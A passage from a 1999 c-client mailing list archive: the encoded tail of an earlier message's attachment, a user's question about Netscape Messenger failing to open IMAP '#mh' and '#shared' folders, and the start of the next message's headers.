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 //v/B44UJLcAEAQA ------=_NextPart_000_00F9_01BE3F07.22AD3450-- From pinedev@shivax2.cac.washington.edu Tue Jan 19 15:00:31 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jan 1999 15:00:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA00871 for ; Tue, 19 Jan 1999 15:00:30 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA26104; Tue, 19 Jan 1999 14:59:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA17624; Tue, 19 Jan 1999 14:55:11 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA20776 for ; Tue, 19 Jan 1999 14:54:23 -0800 Received: from op.ks.erg.sri.com (op.ks.erg.sri.com [144.230.241.32]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA08824 for ; Tue, 19 Jan 1999 14:54:23 -0800 (PST) Received: from eyeball-dirty.sprintcorp.com by op.ks.erg.sri.com (SMI-8.6/2.7davy) id RAA11144; Tue, 19 Jan 1999 17:55:11 -0500 Received: from fattire.sprintcorp.com by eyeball-dirty.sprintcorp.com via smtpd (for op.ks.erg.sri.com [144.230.241.32]) with SMTP; 19 Jan 1999 22:38:29 UT Message-Id: <36A50DE2.14BE55C1@sri.com> Date: Tue, 19 Jan 1999 16:57:38 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: John McPherson To: c-client@u.washington.edu Subject: Netscape and "#" folders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am having difficulty reading any folders beginning with "#" using Netscape 4.5 Messenger. I started trying to access my "#mh" folders using the IMAP server, and though I can see the folders, I can't read the contents of these folders. I eventually gave up on the #mh folders and later discovered the same problem with #shared. I have also discovered that Outlook 98 is perfectly happy with both #mh and #shared. Is there any info regarding this particular oddity? Is there a known work-around? Thank you for you time ---jmc ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 19 15:06:04 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jan 1999 15:06:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA00582 for ; Tue, 19 Jan 1999 15:06:03 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id PAA07206; Tue, 19 Jan 1999 15:05:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA17994; Tue, 19 Jan 1999 15:01:49 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA13610 for ; Tue, 19 Jan 1999 15:01:35 -0800 Received: 